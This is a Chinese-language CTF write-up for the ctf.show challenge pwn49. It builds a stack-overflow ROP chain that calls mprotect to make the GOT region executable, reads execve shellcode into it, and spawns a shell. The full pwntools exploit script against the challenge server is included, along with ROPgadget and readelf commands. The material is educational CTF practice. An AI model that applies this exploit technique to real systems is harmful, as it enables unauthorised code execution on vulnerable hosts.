pwn49(静态编译-mprotect函数)

  1. 首先可以了解mprotect函数,这有佬的文章,可以先看一下
  2. 静态文件基本都有mprotect函数
  3. 我们们的思路基本就是,利用mprotect函数修改某段的权限,然后将shellcode写入这段

开始写wp

  1. 先用IDA打开有mprotect函数

  2. 用一下命令查看

1
file xxxx #查看是否是静态文件

1

​ 圈出部分显示是静态文件

  1. 我们先用mprotect函数修改一段的权限(就选got表)

    1
    readelf -S pwn

    2

​ 可以看到got的起始地址是0x80da000,先构造mprotect的payload

​ 查看mprotect函数的地址
3

用ROPgadget来找pop ret

1
ROPgadget --binary pwn --only “pop|ret” | grep "pop"

4

mprotect的第一个参数是需要修改内存的地址,第二个参数是内存空间的大小,第三是需要赋予的权限,再将mprotect的返回地址设置为read的地址,用来读取shellcode

1
2
3
4
5
6
7
payload = (0x12 + 0x04) * b'a' 
payload += p32(0x0806cdd0) # mprotect函数地址
payload += p32(0x08056194) # 3 pop 1 ret地址
payload += p32(0x080da000) # 需要修改的内存的起始地址
payload += p32(0x1000) # 修改内存空间的大小
payload += p32(0x7) # 需要赋予的权限
payload += p32(0x806bee0) # read函数地址

再找read的地址,0x806BEE0,read第一个参数是一随便写点就可以,参数二就是我们的shellcode,参数三是读取的大小
5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
payload = (0x12 + 0x04) * b'a' 
payload += p32(0x0806cdd0) # mprotect函数地址
payload += p32(0x08056194) # 3 pop 1 ret地址
payload += p32(0x080da000) # 需要修改的内存的起始地址
payload += p32(0x1000) # 修改内存空间的大小
payload += p32(0x7) # 需要赋予的权限

shellcode = asm(shellcraft.sh(),arch='i386',os='linux')

payload += p32(0x806bee0) # read函数地址
payload += p32(0x080da000) # read函数返回地址(就是我们shellcode所在地址,即我们修改的内存空间的起始地址)
payload += p32(0x0)
payload += p32(0x080da000) # shellcode地址
payload += p32(len(shellcode))

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *

r = remote("pwn.challenge.ctf.show", "28313")
payload = (0x12 + 0x04) * b'a'
payload += p32(0x0806cdd0) # mprotect函数地址
payload += p32(0x08056194) # 3 pop 1 ret地址
payload += p32(0x080da000) # 需要修改的内存的起始地址
payload += p32(0x1000) # 修改内存空间的大小
payload += p32(0x7) # 需要赋予的权限

shellcode = asm(shellcraft.sh(),arch='i386',os='linux')

payload += p32(0x806bee0) # read函数地址
payload += p32(0x080da000) # read函数返回地址(就是我们shellcode所在地址,即我们修改的内存空间的起始地址)
payload += p32(0x0)
payload += p32(0x080da000) # shellcode地址
payload += p32(len(shellcode))
r.recvuntil(" * ************************************* ")
r.sendline(payload)
r.sendline(shellcode)
r.interactive()